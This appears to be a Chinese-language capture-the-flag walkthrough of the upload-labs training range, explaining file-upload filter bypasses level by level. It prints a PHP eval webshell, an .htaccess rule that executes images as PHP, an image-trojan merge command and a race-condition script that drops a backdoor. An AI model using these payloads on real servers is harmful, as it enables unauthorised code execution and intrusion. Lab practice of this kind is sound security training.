前言
upload-labs 收集了CTF比赛中遇到的各种上传漏洞的靶场,每一关都包含着不同上传方式。目前我使用的是总计20关的靶场,为了更突出比赛实战化,第一关到第十关我是在cyberstrikelab网络安全仿真平台练习,
第十一关以后我是在本地搭建phpstudy学习。
概念
(1)什么是文件上传漏洞?
上传文件时,目标服务器对上传的文件内容及后缀没做严格的过滤,对文件存储的路径没做限制。
(2)条件:
- 木马文件(php、jsp、asp、exe)
- 可以绕过目标服务器检测,并成功上传
- 可以获取到上传路径,上传路径具备可执行权限
一句话木马
我常用的,写入木马文件的一句话木马命令:
php
<?php @eval($_POST['1']); ?>
靶场
(1)在线靶场
在cyberstrikelab官网,仿真靶场中可以搜到。

(2)本地搭建
下载集成环境绿色免安装的版本,解压可使用。
此处为下载地址。
下载好后,直接放在phpstudy的WWW目录中。

读完使用说明后,运行集成环境,在本地浏览器访问地址:127.0.0.1/upload-labs 。
问题
这里可能会遇到一个问题,burpsuite会抓不到包。这时我们只需把127.0.0.1改为本机IPv4的地址。查看本机IPv的方法:打开cmd,输入ipconfig。

去访问,这样就可以正常抓包了

每道题的解题方法不止一种,大家可以看完文章后,都运用一遍。
正文
Pass-01
第一关通过右键查看源代码或者提示,发现代码为前端验证。后续的方法,也是先看源代码,再做题,
源代码部分不再赘述。

方法: 关闭JS验证
谷歌浏览器按下F12,选择停用JS。

禁用JS后, 就可以直接传php一句话木马了。

可以看到文件上传成功了。

Pass-02
方法: 修改文件后缀,content-type绕过。
使用burpsuite工具抓包,上传一个含一句话木马的图片,然后直接修改content-type字段,将文件后缀名改为.php,然后点击"发送"即可完成上传。

传完之后,可以用蚁剑验证一下。

Pass-03
方法: 修改文件后缀
在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。我们这里用.php5试一下,可以发现直接上传成功 。

想要被当成php执行的话,需要有个前提条件:你下载的靶场环境里,在Apache目录的httpd.conf文件中得修改成如下配置(靶场环境未配置好,此处仅做上传测试)。

Pass-04
方法 :**修改htaccess文件。但要注意,.htaccess文件不能起名字,它就是.htaccess文件。**如果你将它改为3.htaccess或者其他会无法解析。
概念: (1)**.htaccess 是配置文件通常位于网站的根目录或特定的文件中,并影响该目录及子目录。每个目录都可以有这个文件。**生效方式:修改后立刻生效。
(2)**httpd.conf 是全局的文件,整个服务器的 管理员才可以修改。**生效方式:要重启。
(3).user.ini 作用于覆盖或追加全局配置文件(如 php.ini)中的php配置选项,通常位于web应用程序根目录下。 生效方式:修改后立刻生效。适用于php版本是7.x的。
思路:
(1)创建一个.htaccess文件,里面输入内容
php
<FilesMatch "3.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这段代码的意思,就是将jpg文件当作php文件执行。

修改后,上传.htaccess文件。
(2)把一句话木马改成3.jpg ,然后上传上去。

上传成功后,对这个图片右键,在新建标签页打开图片。

(3)用蚁剑连接测试

Pass-05
方法: php文件小写改大写
这一关的思路是它没有循环验证,收尾去空、删除末尾的点,去除字符串::$DATA,转换为小写这些东西只是验证了一次。
(1)抓包,将php后缀改为phP

蚁剑连接测试

Pass-06
方法: php后缀加空格
直接看源代码,发现没有对上传的文件收尾去空,所以可以在php文件后缀加空格。

上传php文件,抓包在后面加空格。

Pass-07
方法: php后缀加点
与前面几关都类似,看源码没有去除. 所以可以用加.来绕过
上传1.php抓包,将1.php后面加.,放行

蚁剑连接测试

Pass-08
方法: 数据流绕过,php后缀加::$DATA
**概念:**在windows操作系统中,当你看到文件名后缀跟着 ::$DATA时 它表示一个附加数据流。
数据流是一种用于在文件内部存储额外数据的机制,这些额外的数据流可以通过在文件名后添加::$DATA来访问。如 1.txt是一个文件,而1.txt::$DATA 是这个文件的一个附加数据流。这样的数据流可以用于存储文件的元数据,备份信息,标签等。
写入方法[1](#1):
echo 内容 >>文件名:数据流名
type 文件名 >>文件名:数据流名
查看方法:
notepad 文件名:数据流名

思路 :

Pass-09
方法: php后缀加. .( 这里要注意的就是点和点之间是有空格的)
验证过程:首先系统发现最后有一个点,这时会把它去掉,又发现有一个空格,也会把它去掉,这时还 有一个点,也就是.php. 由于系统只验证一次,所以不会再去掉剩下的点,这时就可以上传成功。

Pass-10
方法: 双写后缀绕过,php后缀修改为.pphphp
验证原理和上一题一样。

Pass-11
方法: 修改get路径,加入%00截断
**概念:**字符串读取的时候 有 0x00会被当做截断标志。如你好0x00.php显示的是你好,%00和0x00一样,区别使用的地方不一样, %00在url中使用 0x00在编程语言中使用。因为,php的一些函数的底层是C语言,而move_uploaded_file()就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
做到这里,就需要搭建本地环境了,线上平台总是提示上传错误。
我们传一个3.jpg的图片,然后在保存路径修改为xxx.php%00。这里我修改成44.php

最后你可以在本地盘符里看到这个木马文件。

Pass-12
方法: 修改post路径,加入00截断。
第十二关和第十一关是差不多的,只不过是接受值变成了post,这两者的差别呢就是get会自行解码,post不会自行解码,我们需要对%00进行编码,选中%00,右键进行url编码,如下图进行URL-decode。

可以在本地目录上看到木马文件上传上去了。

Pass-12
方法: 制作图片马,利用文件包含漏洞。
(1)通过命令
bash
copy a.jpg /b + 1.php /a shell.jpg
将一个正常的图片和一个带有php木马的图片合并起来,制作成图片马。

(2)上传制作好的图片马文件

(3)查看文件包含漏洞的源码

(4)对上传好的图片右键访问

记住这个图片单位存储位置

(5)在文件包含漏洞的URL中,通过file命令插入刚才记下的位置?file=upload/2020251025010220.png

(6)蚁剑连接测试

Pass-13
方法: 制作图片马,利用文件包含漏洞。
由于和第12关上传方法一样,这里不做赘述。
(1)制作图片马

(2)查看保存路径

(3)访问

(4)蚁剑连接测试

Pass-14
由于和第12关上传方法一样,这里不做过多赘述。
Pass-15
由于和第12关上传方法一样,这里不做过多赘述。
Pass-16
方法: 制作gif图片马[2](#制作gif图片马2,绕过二次渲染验证。),绕过二次渲染验证。
关于绕过对gif图片的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进gif里,就可以成功上传带有php代码的图片了。
如下图,经过比对,蓝色是没有变化的。

我们将代码写入该位置。

上传后在下载到本地使用16进制编辑器打开。

可以看到php代码没有被去除,成功上传图片马。
Pass-17
方法: 竞争上传
我们查看源代码可以明白,代码的意思是先将图片上传上去,才开始进行判断后缀名、二次渲染。
如果我们在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。
(1)新建一个02.php,并写下下列代码
php
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

(2)上传02.php,并抓包发送到intruder模块。
发送完之后,点击清理payload。

在payload设置中,选择Null payloads ,并设置成无限重复。

然后点击开始攻击。此时同时打开另一个浏览器,访问02.php。
通过竞争关系,此时在上传目录中就会出现webshell.php,从而帮助蚁剑连接。

Pass-18
操作和第16关是一样的,不再赘述。
这关是检查后缀名,然后上传,然后在进行二次渲染。这时我们只能上传gif图片马,而且得配合解析漏洞进行通关。
Pass-19
方法: move_uploaded_file() 函数特性,修改为.php /.
move_uploaded_file()函数会忽略掉文件末尾的 /.
所以我们把他修改为.php/.

Pass-20
方法: 利用数组绕过验证
如下图,修改字段。

由于这关会检测文件后缀名,所以利用数字绕过的形式,拼接起来上传,即upload-20.php/.png 。
最后传上去的就是upload-20.php
